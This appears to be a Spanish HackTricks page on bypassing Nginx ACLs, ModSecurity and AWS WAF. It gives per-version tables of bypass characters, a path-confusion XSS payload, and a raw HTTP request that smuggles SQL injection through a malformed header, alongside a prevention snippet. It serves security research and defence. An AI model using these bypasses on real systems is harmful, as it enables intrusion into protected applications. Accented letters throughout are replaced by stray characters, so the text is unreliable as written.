# Bypass de Protecciones de Proxy / WAF
Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCI脫N**](https://github.com/sponsors/carlospolop)!
* Obt茅n el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colecci贸n exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% embed url="https://websec.nl/" %}
## Bypass de Reglas de ACL de Nginx con Manipulaci贸n de Rutas
T茅cnicas [de esta investigaci贸n](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
Ejemplo de regla de Nginx:
```plaintext
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
```
En orden de prevenir los bypasses Nginx realiza una normalizaci贸n de ruta antes de verificarla. Sin embargo, si el servidor backend realiza una normalizaci贸n diferente (eliminando caracteres que Nginx no elimina) podr铆a ser posible evadir esta defensa.
### **NodeJS - Express**
| Versi贸n Nginx | **Caracteres de Bypass en Node.js** |
| ------------- | ---------------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
### **Flask**
| Versi贸n Nginx | **Caracteres de Bypass en Flask** |
| ------------- | -------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
### **Spring Boot**
| Versi贸n Nginx | **Caracteres de Bypass en Spring Boot** |
| ------------- | --------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
### **PHP-FPM**
Configuraci贸n de Nginx FPM:
```plaintext
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
Nginx est谩 configurado para bloquear el acceso a `/admin.php` pero es posible evitar esto accediendo a `/admin.php/index.php`.
### C贸mo prevenir
```plaintext
location ~* ^/admin {
deny all;
}
```
## Saltar Reglas de Mod Security
### Confusi贸n de Ruta
[**En esta publicaci贸n**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) se explica que ModSecurity v3 (hasta la versi贸n 3.0.12), **implement贸 de manera incorrecta la variable `REQUEST_FILENAME`** que se supon铆a que conten铆a la ruta de acceso (hasta el inicio de los par谩metros). Esto se debi贸 a que realizaba un descodificaci贸n de URL para obtener la ruta.\
Por lo tanto, una solicitud como `http://example.com/foo%3f';alert(1);foo=` en ModSecurity supondr谩 que la ruta es solo `/foo` porque `%3f` se transforma en `?` finalizando la ruta de URL, pero en realidad la ruta que recibir谩 el servidor ser谩 `/foo%3f';alert(1);foo=`.
Las variables `REQUEST_BASENAME` y `PATH_INFO` tambi茅n se vieron afectadas por este error.
Algo similar ocurri贸 en la versi贸n 2 de Mod Security que permit铆a saltar una protecci贸n que imped铆a que el usuario accediera a archivos con extensiones espec铆ficas relacionadas con archivos de respaldo (como `.bak`) simplemente enviando el punto codificado en URL en `%2e`, por ejemplo: `https://example.com/backup%2ebak`.
## Saltar AWS WAF ACL
### Encabezado Malformado
[Esta investigaci贸n](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menciona que era posible saltar las reglas de AWS WAF aplicadas sobre los encabezados HTTP enviando un encabezado "malformado" que no era analizado correctamente por AWS pero s铆 por el servidor backend.
Por ejemplo, enviando la siguiente solicitud con una inyecci贸n SQL en el encabezado X-Query:
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
```
Fue posible evadir AWS WAF porque no entend铆a que la siguiente l铆nea formaba parte del valor del encabezado mientras que el servidor NODEJS s铆 lo hac铆a (esto fue corregido).
## Referencias
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
{% embed url="https://websec.nl/" %}
Aprende a hackear AWS desde cero hasta convertirte en un experto conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCI脫N**](https://github.com/sponsors/carlospolop)!
* Obt茅n el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colecci贸n exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).